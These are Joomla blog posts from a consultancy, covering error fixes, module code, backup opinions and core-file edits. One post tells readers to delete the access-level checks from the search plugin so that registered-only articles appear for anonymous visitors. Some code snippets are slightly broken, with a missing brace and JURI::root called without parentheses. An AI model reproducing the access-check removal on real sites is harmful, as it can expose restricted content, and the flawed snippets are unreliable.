  5. Weblinks: 10 years ago (when Joomla was called Mambo), it was cool to create a page and to add links to other relevant websites. Not anymore. This practice is now the exception rather than the norm. If you really want to have a page where you can add your favorite websites, then just create a regular article and add those links to it.

According to Joomla’s roadmap, it seems that Joomla will get rid of most of the extensions above within a year or so. If you’re using one (or more) of these extensions and if you are interested in reducing your website’s dependencies on legacy code, then please contact us. We will provide you with an alternative solution and you won’t even notice any change on your website (we’ll ensure that the frontend still works the same)! Please note that our very affordable fees apply!

“0 – SQL=” Error in Joomla

A new client called us yesterday evening and told us that he was seeing the following error on some pages of his Joomla website:

0 – SQL=

The error was in the traditional red layout, immediately followed by the classic “You may not be able to visit this page because of…” message.

The page where the error was appearing was pointing to a custom made component called com_realestate, which was used to display real estates for the area where the visitor is located in (for example, in our case, the extension should show real estate from Montreal).

We checked the extension and we noticed that it wasn’t able to get the location of the visitor based on the IP (the IP to location database was messed up), and so the SQL query being sent to the Joomla database engine was empty (causing the “0 – SQL=” error).

So, how did we fix the problem?

We fixed the problem by ensuring that the extension does not send an empty query to the database if it cannot locate the IP of the visitor. Of course, the extension had deeper issues but it was outside the scope of our work and the client wasn’t interested in fixing them.

Have we seen this problem before?

Yes – we did. It was a few months ago, but back then, the whole Joomla website did not work. It turned out that the problem was in the template itself (the template was sending an empty query to the Joomla database engine).

Are there easier ways to fix the problem?

There are other ways to fix this problem – but none of them is really clean. The thing is, all of them involve modifying Joomla’s own core (which is something we do not really recommend as it might cause conflicts down the road and it’s very possible that the changes might be wiped out by future Joomla updates). If you really want that quick fix, then you can always modify the execute function in the mysqli.php file (assuming you’re using the MySQLi drirver) which is located under the libraries/joomla/database/driver folder to return an empty array if the query is empty. This can be done by adding the following line to the very beginning of the aforementioned function:

if (empty($this->sql)) return array();

Note that doing the above might result in other issues at the extension level if the extension needs to have values from the database and cannot settle with just an empty array (yet another reason why it’s a better idea to fix the problem in the extension rather in Joomla’s own core).

If you have this problem on your Joomla website and you need help fixing the offending extension (whether it’s a plugin/module/component/template), then please contact us. Our fees are affordable, our work is top notch, and we treat every website that we work on as if it’s ours.

A Simple Joomla Module to Display the Number of Tweets for the Current Page

At itoctopus, we like to share our extensions for the benefit of the Joomla users and the Joomla ecosystem. One of the extensions we have developed recently is a module that displays the number of Tweets for the current page on a Joomla website.

The module is super simple. All you need to do is to assign it to the menu item and position of your choice, and you will see the magic happens (e.g. the number of tweets for the current page will appear).

You can download the module here. The module is compatible with Joomla 2.5 and Joomla 3.x. The module is less than 2 KB in size (uncompressed) and does not contain any hidden links (it is a practice that we, at itoctopus, strongly oppose).

How does the module work?

Note: You don’t have to read this to get the module to work. The module will work just by installing it and assigning it to the appropriate menu item and module position. The below is just a technical information for those who really like to know how the module gets the number of tweets.

The module first gets the current page using the JURI::current() Joomla function, which is then passed as a GET parameter to the following URL: http://urls.api.twitter.com/1/urls/count.json.

For example, if the current URL is http://www.yourjoomlawebsite.com, then the following URL will be grabbed using curl (we use curl and not file_get_contents because the latter function will not work if allow_url_fopen is set to 0):
http://urls.api.twitter.com/1/urls/count.json?url=http://www.yourjoomlawebsite.com. The aforementioned URL will return the following json response:

{"count":0,"url":"http:\/\/www.yourjoomlawebsite.com\/"}

The above means that the page has been tweeted 0 times (in this case the module will not display anything). Note that the module will both try the www and the non-www variations of any page and will get the total number of tweets for both variations.

What if the module doesn’t work?

If the module doesn’t work then most likely the curl library is not installed on top of your PHP installation. You should contact your host to do that for you. You can also modify the code to use file_get_contents instead of using curl functions, provided allow_url_fopen is set to 1 in your php.ini file.

How to change the module’s layout?

You can change the module’s layout by copying the file modules/mod_tweets/mod_tweets.php to the file templates/your-template-name/html/mod_tweets/default.php and then making your modifications there.

Are there any caveats?

Since we are using curl, then the module can slow down the whole website if Twitter takes a long time to get back to us with the json result. Contact us if you are experiencing any of these issues on your website and we’ll help you fix it.

Now for the usual disclaimer: Although we have developed the module ourselves and installed it on many of our clients’ websites, we cannot be held accountable/responsible for any direct/indirect issues that the module can cause to your Joomla website.

If you need help with the installation of the module, or if you want help modifying it, then please contact us. Please note that our fees apply.

Why We Don’t Recommend Using Akeeba for Backing Up Joomla Sites

One of the most used Joomla extensions is Akeeba Backup, but we don’t recommend it to our clients. Why? Well, because we don’t think it’s a good solution, and we don’t think that backing (and restoring) a Joomla website should be done from within Joomla, and here are 7 reasons why we think that:

  1. Akeeba Backup is not supported by any host: Hosts usually don’t support CMS applications (such as Joomla, WordPress, Drupal, etc…), and they certainly don’t support an extension within a CMS. If you have a problem restoring your website using an Akeeba backup, then your host will not be and can not be of any help.
  2. The Joomla website must be working in order to restore it: That point alone probably defies the whole point of Akeeba Backup, this means that you can just revert to a previous state of your Joomla website. There is a way to restore your Joomla website from outside Akeeba using the Kickstart application, but it’s very technical. We’re not sure if it fits within the Akeeba theme promoting simple backups and restores that anyone can perform.

  3. Akeeba Backups are not guaranteed to work: If you make a backup using Akeeba, then there are no guarantees whatsoever that you’ll be able to restore your website from that backup. It may or may not work, and we had many customers coming to us and telling us that Akeeba has failed them the only time they really needed it.

  4. Akeeba may crash when backing a large website: If you’re trying to back up a very large website using Akeeba, then beware, Akeeba may crash during the backup (which means that you’ll have to redo the backup), but not before crashing the whole website!

  5. Akeeba will slow down the whole website during the backup process: If you’re trying to backup medium to large websites, then Akeeba might slow down your website considerably during the backup. Of course, it might crash it eventually, but we’ve discussed this in the previous point.

  6. Support is good but isn’t great: In all fairness, Akeeba Backup is one of the few extensions out there where there is real support. The only issue we see with support is that there are too many “you haven’t used the extension properly” answers. Other than that, we have nothing to say about it.

  7. There is a bit of a steep learning curve: In our opinion, Akeeba Backup should have a small icon on the top right to seamlessly backup a website (in the background) with one click. Currently this is not the case: users are given many options that might confuse them, and, from our experience, those using Akeeba are far from being technical.

So, what do we recommend for backing up (and restoring) a Joomla website?

Well, the best way to backup any website is through cPanel (or any tool that your host offers for backup). Using cPanel, the Joomla administrator will be able to easily download a copy of the database and a copy of the filesystem (by clicking on the Backup and Restore icon on cPanel‘s landing page). Hosts usually have no problem whatsoever restoring a backup that was created by a tool they offer to their clients (such as cPanel).

If you have problems restoring (or backing up) a Joomla website using Akeeba, then please contact us, we’ll be more than happy to help. Please note though that if your Akeeba backup is corrupt, then we might not be able to restore your website using Akeeba (we will have to resort to other tools for attempting to restore your website). Also note that our very affordable fees apply.

Hey Joomla 2.5 Administrators, It’s Time to Migrate to Joomla 3

If you’re using Joomla 2.5, then we have news for you, it is now time to migrate to Joomla 3. “Why?”, we hear you ask. Well, because by the end of December, Joomla 2.5 will no longer be officially support it (we will still support it at itoctopus though). This means that Joomla 2.5 will become like Joomla 1.5.26, vulnerable, exploitable, and weak. You wouldn’t want your website to run on Joomla 1.5.26, would you?

But isn’t Joomla 3 unreliable?

A few months ago, we were completely against migrating to Joomla 3, simply because the CMS wasn’t mature enough. However, as of July of this year, Joomla 3 has become very stable and we are installing it for our new customers. We are also migrating our old customers to it. By the end of 2014, we are planning to migrate all our large clients to Joomla 3.

Although the migration from Joomla 2.5 to Joomla 3 is not as hard as migrating from Joomla 1.5 to Joomla 2.5, there are still challenges, especially on large websites, so we suggest that you plan the migration carefully and that you schedule it to take place on October (2 months before the deprecation of Joomla 2.5).

Things to remember before doing any migration:

  • Make sure you backup the filesystem: All the files under the root directory of your website must be backed up into an archive. Using Akeeba will not backup the whole filesytem so you shouldn’t use it.
  • Make sure you backup your database: The database should be backed up at the same time you are doing the filesystem backup, or else your data will not be consistent. Note that can easily download a backup of both your filesystem and your database using cPanel’s Backup and Restore functionality (if you’re using cPanel/WHM).

  • Make sure that you lock all changes to your website: The moment you start the backup process, you should disallow any changes to your website until the whole migration is done.

  • Make sure you surround yourself with the right technical people: It is always a good idea to have the contact information of some Joomla experts (such as, ahem, itoctopus) ready in case you run into any issues during the migration process.

If you want help migrating your website to Joomla 3 (even if you have a very old version of Joomla – yes, including Joomla 1.0), then you’ve come to the right place. Just contact us and we’ll do it for you as fast as we can and for a very affordable fee – and the best part is that you won’t even notice that your website has been migrated (that’s how good we are)!

How to Show Published Articles by Default in Joomla’s Article Manager

Note: The solution described in this post requires you to make a simple modification to a couple of Joomla core files. If you are not comfortable with that, then please contact us (we can do this with a plugin).

If you have been using Joomla for a long time, then you are probably a bit annoyed by the fact that every time you go to the Article Manager (when you first login), you will see both your published and your unpublished articles, and that you will have to select Published from the Status dropdown to see only your published articles (by default, Joomla will show both Published and Unpublished articles).

So, how what can you do to show the published articles by default?

Well, it’s very simple, all you need to do is the following:

  • Open the file filter_articles.xml located under the administrator/components/com_content/models/forms folder.
  • Add the following line:

    default="1"

    Just under:

    name="published"

  • Upload the file back to your Joomla website.

  • Open the file articles.php located under the administrator/components/com_content/models folder.

  • Locate the following line:

    $published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '');

    and replace it with the following line:

    $published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '1');

  • Upload the file back and presto! The Article Manager in your Joomla’s backend will only display the published articles by default.

As stated in the beginning of the post, this is a core modification (albeit a very simple one), which means that any update to your Joomla website might overwrite it. An alternative to the above (that doesn’t require a modification to the core) is developing a plugin that will inject a default filtering into the Article Manager, but it wouldn’t be that easy and it would require some serious development skills.

If you need help doing the above (or if you want the plugin alternative), then please contact us. We can do it for you in no time and for a super affordable fee. Go ahead, give us a call (we always answer the phone) or shoot us an email!

How to Modify Joomla’s Head Data Through PHP

We are currently developing a small plugin to modify head data prior to serving the page. Although we have done something similar quite a few times before (changing the code inside the head tag), it is the first time that we describe how to do this from an extremely technical perspective.

In short, we use the function setHeadData to do that. The function setHeadData is a method belonging to the JDocument class (it actually belongs to the JDocumentHTML class which extends the JDocument class).

The function setHeadData takes an array as a parameter, and that array consists of one or more of the following items (note that there are other items of lesser importance/usage that we haven’t mentioned below):

  • title: The (browser) title of the current page. title must be a string.
  • description: The meta description of the current page. description must be a string. Make sure that you keep it around 250 characters.

  • stylesheets: The CSS stylesheets to be assigned to the current page. stylesheets can be a string (if there is only one stylesheet to be assigned) or an array (if there are multiple stylesheets to be assigned).

  • scripts: The JavaScript script files to be assigned to the current page. Similarly to stylesheets, scripts can be a string or can be an array.

Here’s a quick example:

$currentDocument = JFactory::getDocument();
$data = array(
	'title' => 'Title of the page',
	'description' => 'Description of the page',
	'stylesheets' => array(
		JURI::root.'plugins/your-plugin-name/css/style1.css',
		JURI::root.'plugins/your-plugin-name/css/style2.css'
	),
	'scripts' => JURI::root.'plugins/your-plugin-name/javascript/script.js');
$currentDocument->setHeadData($data);

The above code must be added in the event onContentBeforeDisplay in your content plugin to have the proper effect.

But, how does one get the head data?

Well, by using the function getHeadData of course. getHeadData is also a method belonging to the JDocument class. The method returns an array mainly containing the browser title, the meta description, and the CSS and JS files included in the head tag. You can use it the following way:

$currentDocument = JFactory::getDocument();
$arrHeadInformation = $currentDocument->getHeadData();

There you have it. Now you know how to set and get head data!

If you need help implementing/customizing the above, then all you need to is to contact us. We can do it for you in very little time and for a very reasonable cost. What are you waiting for? Give us a call or shoot us an email!

Joomla’s Biggest Threat

This post is an opinion. It has no technical information whatsoever. Just a heads up in case you wanted to read this post because you thought it was about securing a Joomla website.

We love Joomla. We make a living out of it, it puts bread on our table, it feeds our precious babies, and if we see something wrong with it, we feel that we should mention it so that corrective action can be taken.

Recently, we are noticing an ever-growing – and dangerous – issue with Joomla: the divergence between Joomla’s core developers and the Joomla community. We have started noticing this issue back in March, during the LGPL discussion of the Joomla framework. Joomla developers insisted on changing the license of Joomla from GPL to LGPL, but the majority of the Joomla users were against it. At the end of the day, the decision was to move to LGPL, leaving a sour taste for both the developers (who thought they had the right to do that change anyway without consent from the community) and the users (who thought that their voices didn’t count).

It has been downhill ever since, with some prominent Joomla core developers publicly accusing users of “holding Joomla back” on various social platforms (mainly Twitter). These developers also claim that the Joomla community doesn’t have any rights to make any decision concerning the future of Joomla, simply because the community is not involved in the development.

We think this is wrong. One of WordPress’ strengths is that they listen to the community and they act upon requests from the community, and we’re not talking only about bug fixes, we’re talking about features. Most of WordPress features actually stem from the community. Unfortunately, the same cannot be said about Joomla where most of the new features are initiated (and later implemented) by the developers. In fact, some features which were used and loved by Joomla administrators in Joomla 1.5 were removed from subsequent versions of Joomla (including, but not limited to: XML sitemaps, PDF generation, and a few useful modules).

What’s surprising is that Joomla’s core developers are becoming more and more oblivious to the role of Joomla’s community in determining the future of Joomla. Even if Joomla is the best CMS in the world (and it might be), if no one is using it, then it has no value. In fact, we are tempted to say that (some) core Joomla developers have a certain disdain for the users, after all, users are not entitled for anything because Joomla is free.

Joomla is free, but that doesn’t mean that the core developers are not making money out of it. In fact, all of them have some serious consulting businesses built around Joomla, and the more users are using Joomla, the more money there is in supporting Joomla and developing for Joomla. How come core Joomla developers are not grasping this simple and very obvious business concept?

If the situation remains like this, then we suspect that a backlash by the frustrated Joomla community will be imminent, and that backlash can take only one form: massive exodus to another CMS, possible WordPress. We don’t think this’ll be in anyone’s interests, especially for the Joomla core developers.

But that’s not Joomla’s biggest threat…

Joomla’s biggest threat, in our opinion, is the lack of leadership, which results (in addition to the above) in the following:

  • Constant bickering between Joomla core developers: Checking github and Google groups discussions will give you a clear idea on how the Joomla core developers are split into several warring factions, leading to serious losses in productivity and botched releases. Additionally, this constant bickering has a very negative impact on the perception of Joomla as a reliable CMS. If those working on the project can’t seem to agree over anything, then how can people trust Joomla?
  • Rushed updates that lack the necessary quality control: The latest Joomla releases (for both 2.5 and 3) are a proof of the minimal testing done before releasing updates for a very important CMS.

  • Inflated ego amongst developers: This issue is growing and is intimidating new developers from joining the development team. We don’t like to say this, but some Joomla core developers are just plain rude (believe it or not some brag about being rude), even to those who really want to help making Joomla better.

  • Multiple visions/no clear vision for the future: What should Joomla be? Should Joomla remain as an easy to use CMS that anyone can use, or should it be something else, something more (or something less)? The lack of one clear vision is also obvious in github and Google groups discussions. Yes, there is a roadmap, it just seems though that not everyone is on board.

  • Lengthy decision making process for simple issues: This affects many areas in the Joomla ecosystem, including, but not limited to: adding new features, fixing bugs, approving extensions, etc…

  • Lack of transparency: How are extensions approved/rejected (we don’t like to say this, but we seriously question the extension approval process)? Who approves them? Who approves/rejects those articles posted on the Joomla magazine? What are the standards for having an article posted on the magazine (sometimes it seems that the standards are really low, and sometimes it seems that they are quite high)? etc…

  • Ambiguous hierarchy: Who reports to whom? It seems to us (and we might be wrong) that all the developers are at the same level, which means that developers are only answerable to themselves, which is not a good thing.

So, is the future that gloomy for Joomla? Is there no hope?

There is hope, there is always hope! But some drastic changes must be done within Joomla’s development community. The developers must put aside their differences and must all make some serious concessions and choose a leader (not a leadership team, but a leader): someone who has the experience and the vision to take Joomla to the next level, someone whose decisions are respected by everyone, someone whose authority is unrivaled and unquestioned. The first task that the leader should work on is creating a clear hierarchy and assigning key Joomla people to different roles. Those key Joomla people will then create their own sub-hierarchies to support their roles. Conflicts between different roles in the hierarchy should be resolved by the leader, conflicts within a single role should be resolved by the role leader.

But even if a leader is not chosen, there is still hope. There is still hope because there are people like us who believe in Joomla, who will work very hard, day and night, to see Joomla thrive. Joomla’s success is critical to our business, and that’s why we treat it as our product. As long as there are people like us, you can rest assured that Joomla is here to stay!

Don’t Update Your Joomla Website on the Same Day of Releasing the Update

Earlier this week, Joomla released 2 updates: Joomla 2.5.23 and Joomla 3.3.2. Less than 24 hours later, Joomla released another 2 updates, Joomla 2.5.24 and Joomla 3.3.3. It turned out that the first 2 updates had issues: they were causing problems with email obfuscation. It’s really hard to imagine how come no one tested email obfuscation before releasing those updates (which contained some changes in that particular area).

But, this post is not about criticizing Joomla’s quality assurance, but it’s about conveying a message to all Joomla administrators who are so eager to click that update button without even backing up their website first. That message is:

“Wait a couple of weeks after the update release to update your Joomla website.”

Every time there’s a Joomla update, we have an influx of new clients asking us to fix their websites. Now, while we make money out of this, we’d rather be making money creating more features or enhancing Joomla websites.

But, what if Joomla’s update is a security update? Should you also wait a couple of weeks? Well, in this case, you shouldn’t, and that’s why we will need to slightly modify our message above to the following:

“Wait a couple of weeks after the update release to update your Joomla website, unless that update is a security update, in which case you should only wait 24 hours”

But why wait a full 24 hours if it’s a security update, we hear you wondering. Wouldn’t that put the Joomla website at risk of getting hacked? Well, yes, this is true, but also updating it within 24 hours will put it at another risk: crashing. So, it’s up to you to choose which risk you prefer to take. Note that you can always lock down permissions on your Joomla website to completely protect it, which makes waiting for 24 hours a better option.

So, if you’re tempted to update your Joomla website the moment an update is announced, then it would be wise to consider the disastrous consequences of a buggy update before doing so. If you have already done so and your website (and yourself) is now suffering, then do contact us. We are here to help, our prices are affordable, and we’ll ensure that everything’s back to normal in no time!

Why It Is a Bad Idea to Run WordPress from Within Joomla

If you’re regularly following the news about major CMS’s, then you’d have probably heard by now that over 50,000 WordPress websites were hacked in the course of a few days. Potentially, another million or so WordPress websites could be also compromised. The cause of this onslaught of hacks is an exploit in a WordPress plugin (by the way, the term “plugin”, in WordPress, can be the equivalent of a Joomla component, module, or plugin) called MailPoet. The exploit allowed the attacker to upload a PHP script into the website, giving him absolute power over the website.

Now, what does this have anything to do with Joomla? It’s a WordPress exploit, and not a Joomla exploit, after all.

Yes, we know that, but we have worked on quite a few Joomla websites where the blog is powered by WordPress, either using a Joomla extension (the extension is typically corePHP’s WordPress Blog for Joomla), or by just uploading WordPress into a sub-directory of the Joomla website. We don’t like this practice, and we don’t like it for 3 reasons:

  1. The administrator has two websites to maintain, and not just one: two websites where the core and the extensions (plugins) must be always updated, two websites to secure, two websites to optimize, etc…
  2. Any exploit on either site is potentially contagious, which means that an exploit can very well lead to two hacked websites, which means that the administrator has to clean two websites, instead of one (or he must pay for the cleanup of two websites).

  3. There are nearly always SEF issues because of conflicts between the .htaccess located under the root directory of the Joomla website, and that located under the root directory of the WordPress website (which is a sub-directory of the Joomla website).

An additional (yet far less critical) problem, is that the administrator has to maintain a consistent look & feel on two different CMS’s, and not just one. That’s not an easy task and it’s very, very time consuming.

So, what can you do if you really want a blog on your Joomla website?

Well, you don’t have to install WordPress at all, you can use Joomla! Yes, you can create some template overrides for your content to make it look like a blog, you can install a commenting extension such as JComments (or maybe embed Disqus through the use of a plugin or a module), and you’re off to go. Better yet, you can use K2 (which also works very well with JComments) to build your blog! You really do not need to have a WordPress website within your Joomla website to make that blog happen.

If you’re currently running a WordPress website within your Joomla website, and if you want to consolidate all your content in your Joomla website, then we can help. All you need to do is to contact us and we will do it for you in very little time and for a very affordable cost.

Modifying Joomla’s Search to Display Restricted Articles for Unregistered Users

Some websites have the following business model:

  • They display, on a certain page(s), a list of articles with a teaser for each article.
  • The visitor clicks on an article of his choice.

  • If the user is not an already subscribed member (and if he’s not logged in), then he’ll be redirected to a page where he should subscribe (possibly by making a purchase) before reading that article. If the user is already a subscriber (and logged in), then he’ll be redirected to the full article.

The above business model is easily applicable on a Joomla site: all one needs to do is to set the access level of each and every article to Registered and then only registered (subscribed) visitors can read it, and those who are not, are forced to register.

However, there is a small problem with the above business model: what if a visitor (who has not yet subscribed) tries to search for a restricted article (an article that is only available to registered users) through Joomla’s search functionality? Naturally, the visitor will not be able to find the article because he simply doesn’t have access to it. Of course, this means that the business will lose potential clients because people think that the content they’re looking for doesn’t exist on the website.

So, how can this be fixed?

Well, it can be fixed easily, very easily. Here’s how:

  • Open the file content.php located under the plugins/search/content folder (it would be very wise to backup this file first).
  • In the function onContentSearch, delete all occurrences of:

    AND a.access IN (' . $groups . ')

    and:

    AND c.access IN (' . $groups . ')

  • Save the file and upload it back.

  • That’s it! Your search results should also display restricted articles – articles that used to only show up for registered users.

Of course, the above solution consists of a core modification. If you don’t like that (possibly because you know that future updates may wipe out your changes), then what you will need to do is to create a new search module and a new search plugin that will work together in order to display the results. It’s not really hard work to do that, but it’s more work.

If you want to display all articles in the search results, regardless of the user’s access levels, then try the above patch. It should work. If you don’t know how to do it or if you want the more robust solution, then please contact us. We’re always ready to help, our work is very clean and professional, our fees are very affordable, and we always welcome new clients with open arms!

Blank Page on a Joomla Website Powered by a RocketTheme Template

We have discussed blank pages on Gantry templates before, but yesterday, a client called us and told us that the suggested fix did not work for him.

So, we checked his website, and we discovered that although he was seeing a blank page, the HTML code wasn’t empty. In fact, the HTML code was full of the following commented code:

<!-- Unable to render layout... can not find layout class for mod_standard -->

Hmmm…

So we asked the client on whether he did something on his website that might have caused this, and he told us that the only thing that he did was moving his website from development to production. Aha! We thought, what if Gantry’s cache became corrupt because of the move?

So we deleted the Joomla cache by going to Site -> Maintenance -> Clear Cache and then selecting all the cached items by clicking on the checkbox next to the # sign and then clicking on Delete on the top right. That fixed the problem!

If you have moved your Joomla website (which is using a RocketTheme template) from one location to another (either on the same server or to a different server), then try clearing the cache folder (if you don’t want to delete your whole cache then simply removing the gantry folder under the cache folder will also fix the problem), and see if that solves the problem. If it doesn’t, then please contact us. We will help you fix the problem in no time and for a very affordable fee!

How to Completely Disable the Mail Functionality in Joomla

In software products, having features that you don’t need is generally a good thing. However, if an unneeded feature is causing more harm than good, then it’s probably a good idea to completely disable it.

For example, one of Joomla’s features is the ability to send e-mail (the mail sending functionality is used for notifications, newsletters, password resets, etc…), but, unfortunately, the word “mail” is a spammer magnet, and that’s why spammers often exploit Joomla’s mail feature to spam people.

Securing your Joomla website and keeping its core and all your extensions up-to-date may prevent that. But, what if you don’t have the experience to do that? Or what if you can’t afford to hire someone to do it for you? Should you ignore the issue? Should you turn a blind eye to the fact that your website is used to spam people? If you do, then rest assured that your host won’t, and at one point, they will shut down your site completely because it will harm the reputation of their entire network. Oh, and by the way, they will shut down your website before letting you know (hosting companies, by the way, are very rigid when it comes to spam).

So, what you should do to prevent your Joomla site from sending out spam emails?

Well, you have 2 options:

  1. Keeping your website and extensions up-to-date and ensuring that your website is not hacked.
  2. Disabling Joomla’s mail functionality.

Assuming you can’t go with option #1 for one reason or another, how can you completely disable Joomla’s mail functionality?

Well, it’s very simple. Here’s how to do this:

  • Open the phpmailer.php file located under the libraries/phpmailer folder under your Joomla directory.
  • Go to this line in the code (should be line 585 in Joomla 2.5):

    public function Send() {

  • Add the following line just below it:

    return true;

  • Save the file and upload it back.

  • That’s i!

Once you do the above, then your Joomla website won’t be able to send any mail, which means that even your contact us page won’t work. So, you should only do this if you don’t expect any legitimate mail to be sent from your Joomla website.

Also keep in mind that you’ll be changing a core file, which means that a future Joomla update may overwrite your changes (so, you’ll need to do these changes again).

If your website is sending out spam and you need help shutting down the Joomla mailing feature, then try implementing the above. It should work, but if, for any reason, it doesn’t work, or if you need help implementing it, then please contact us. We’ll do it for you in no time and for a very affordable fee!

No/Wrong Thumbnail Image When Sharing K2 Articles Through Facebook

Note: This post is not about setting a default share image for your K2 content on Facebook. If you want to do that, then you’re better off checking this post.

Content editors working for a major client of ours were having an issue when they were trying to share their K2 articles through Facebook. The issue was simply that Facebook was not generating the right thumbnail image (or was not generating a thumbnail at all). Here’s what they were doing:

  • They were creating an article through K2.
  • They were adding an image (or several images) inside the article.

  • They were trying to share that article on their Facebook account.

  • Facebook wasn’t showing the thumbnail image of the K2 article (or was showing the wrong thumbnail image, such as their website’s logo).

They called us late last week and they told us about the problem, and pointed us to an article they had just created but couldn’t get Facebook to display its thumbnail image. So, we checked the HTML code of that article, and we couldn’t find any og:image meta tag anywhere in the code. All the other Open Graph meta tags were there (recent versions of K2, for those who don’t know, automatically generate Open Graph meta tags without the use of any additional 3rd party plugin), which was odd. What could it be?

We then checked the K2 article in the backend, and we noticed that they have added the image to the Content portion of the item, and not through the Image tab. Hmmm – we started suspecting something… So, we searched for the code responsible for adding the og:image meta tag in the HTML, and we found this in the view.html.php file (located under the components/com_k2/views/item folder):

$image = substr(JURI::root(), 0, -1).str_replace(JURI::root(true), '', $item->$facebookImage);
$document->setMetaData('og:image', $image);

If you’re a programmer, you’re probably thinking right now, what on Earth is $item->facebookImage? Well, it’s actually the size of the image that you want to share through Facebook. You can set it by going to the K2 component in the backend (by clicking on Components -> K2), and then clicking on Parameters on the top right, and then clicking on the Social tab, and finally choosing the image size from the dropdown next to Image size to use when posting K2 items on Facebook. Now we have read the code responsible for generating the og:image meta tag nearly a dozen times, but, for the life of us, we couldn’t figure out a scenario where that code would would actually work as it should. Yes – we have discovered a bug!

Quite frankly, we thought that the problem was because the image was being embedded directly into the content instead of being added through the Image tab, but that wasn’t the case. We were wrong. The cause of the problem was a bug in the K2 code. There was nothing that they (the client) could’ve done to fix the problem from within K2’s interface in Joomla’s backend.

So, how did we solve the problem?

Well, we opened the file item.php located under the components/com_k2/templates/default folder (note that for those with an overridden K2 template, the file to edit would be located somewhere under the templates/template-name/html/com_k2 folder) and we added the following code at the beginning of the file (just below the defined(‘_JEXEC’) or die; statement):

$document =& JFactory::getDocument();
preg_match('/<img [^>]*src=["|\']([^"|\']+)/i', $this->item->introtext, $arrImages);
if (!empty($arrImages[0])){
	$image = JURI::base().$arrImages[1];
	$openGraphImage = '<meta property="og:image" content="'.JURI::base().$arrImages[1].'"/>';
	$document->addCustomTag($openGraphImage);
}

The above code searches (using Regular Expressions or regex) the content inside the introtext field for images, and, if it finds any, then it sets the og:image meta property to the path of the first image found.

Adding the above code fixed the problem for our client. They were happy and we were happy, because we fixed their problem and we made an excellent Joomla extension (K2) even better.

If you’re not seeing any thumbnail images when sharing your K2 articles on Facebook, then try the above solution. It should work. If it doesn’t, then try extending the search for images to include the fulltext attribute ($item->fulltext) in addition to the introtext attribute. If it still doesn’t work (or if you don’t have the necessary programming background to deploy the above solution), then please contact us. We are eager to help, we are professional, we are hard working, our customers love us, and we don’t charge much!

How to Add a Module Position in a Joomla Template Layout File

Note: A pre-requisite to implement the solution in this post is to install and activate the Modules Anywhere plugin by NoNumber. That plugin is much better than Joomla’s own plugin (Content – Load Module) of injecting modules into a page (e.g. {loadposition …} and {loadmodule …}). It’s amazing that Joomla still hasn’t created a reliable plugin that does this simple job.

If you’re comfortable with Joomla development, then you probably know that you can add module positions to your template by adding the following code to the index.php file located under the templates/[template-name] folder:

<jdoc:include type="modules" name="module_position" style="module_style" />

The module_position is the position of the module, such as top. The module_style is the style of the module, such as none (no style) or xhtml (we have discussed module styles in passing here).

But… what if you wanted to add a module position to say, somewhere after the 2nd leading article in a featured view (or between the featured and the intro items)? You just can’t do that in the index.php, you must do it in the default.php file located under the templates/[template-name]/html/com_content/featured folder. But, if you add the above <jdoc… code to that file, then you will notice that the Joomla template parser will not parse it, which means that the <jdoc… code will display, unchanged, on your website’s frontend. Unless your intention is to show your code to your users, then you must find another way to include your module.

Thankfully, we have devised a simple and yet efficient way to address this problem at itoctopus. Here’s how to do it (we will use the above scenario as an example):

  • Open the default.php file located under the templates/template-folder/html/com_content/featured folder.
  • Just below:

    JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

    Add the following code:

    $arrModules = JModuleHelper::getModules('[position-of-your-module]');
    $arrModuleIds = array();
    for ($i = 0; $i < count($arrModules); $i++){
    	$arrModuleIds[] = $arrModules[$i]->id;

  • Now, in the location where you want to display the module(s) (there may be several modules allocated to the same module position), you will need to add the following code:

    for ($j = 0; $j < count($arrModuleIds); $j++){
    	echo('{module '.$arrModuleIds[$j].'}');
    }

  • Now you will need to save the file and upload it back. You will now notice that your modules are displaying in the location of your choice.

If the above didn’t work for you, then you will need to check for the following:

  • Are you using caching? If yes, then disable it and see if it works.
  • Are you sure you have the Modules Anywhere plugin by NoNumber installed and activated?

  • Are you sure that your module doesn’t modify the rest of the content (there are some complex modules that do that, we have developed quite a few of them for our clients)? An example where a module may modify the rest of the content prior to adding its own code is to add some JavaScript code to the <head>. If that’s the case, then you will need to add a hidden div layer in the index.php file (of your template), and, inside it, include the module using the <jdoc… statement, that’s in addition to doing the above. Of course, this solution might cause other issues, and you may need to modify some code in the module itself.

If you want to display modules in a specific view of your Joomla website, then try the above solution, it should work. If, for any reason, it doesn’t, or if you think it’s too technical for your own taste, then please contact us. We’ll do it for you in no time and for a very, very affordable cost. We’re also the friendliest programmers in the whole wide world!

How to Hide a Component in Joomla’s Backend Without Uninstalling It

It’s Friday, it’s sunny here in Montreal, the sky is blue, and we think it’s better to write about a Joomla tidbit instead of going out and enjoying the sun. How is that for dedication?

Anyway, if your Joomla backend is cluttered with extensions that you’re not using but you don’t want to install, then we have some good news for you: you can hide them (so that they won’t appear anywhere in your menu). You can do that without installing yet another 3rd party extension, you can do that without modifying the code or the filesystem, and you can do that without modifying the database through phpMyAdmin. Joomla has a little known secret (well, not anymore) that allows you to do that. All you need to do is the following:

  • Login to the backend of you Joomla website.
  • Click on Extensions -> Extension Manager on the top menu, and then click on Manage below.

  • Search for the extension that you want to hide (it might be anything: a component, a module, a plugin, a template, etc…).

  • Click on the green check mark next to it (under the Status column). That should turn it into a red hollow dot, which means that it’s disabled.

  • That’s it!

Note that doing the above will not delete any data associated with the extension, it’ll just hide the extension from your website.

But, what happens if you have created some modules and then you disabled the module’s extension?

That’s an interesting question. Try, for example, creating a Who’s Online module in the Module Manager, and then go to the Extensions Manager and disable the Who’s Online module extension. Now go back to the Module Manager, and you will notice an amber exclamation mark next to the module (instead of the green checkmark), if you hover over it it’ll read “Extension Disabled”. The module is still published but won’t display on the site because the extension has been disabled.

We hope that this little and light post was helpful to our readers.

Now, if you want to disable some extensions but the above is not working for you, then please contact us. We can help you do that in no time and for a very affordable fee. We are reliable, we are professional, and we are really, really friendly programmers (the term “friendly programmer” is typically an oxymoron by the way, which makes us unique amongst programmers)!

How to Allow Your Visitors to Switch to a Different Joomla Template from the Frontend

Heads up: To implement the solution in this post, you will need to install Jumi, which is a free Joomla extension that allows you to place PHP code anywhere on your Joomla website.

This past weekend, a client of ours called us and told us that he wanted to place a button on his website that people with disability issues can click on to switch from the main website template to another, much more accessible template. As usual, we immediately obliged!

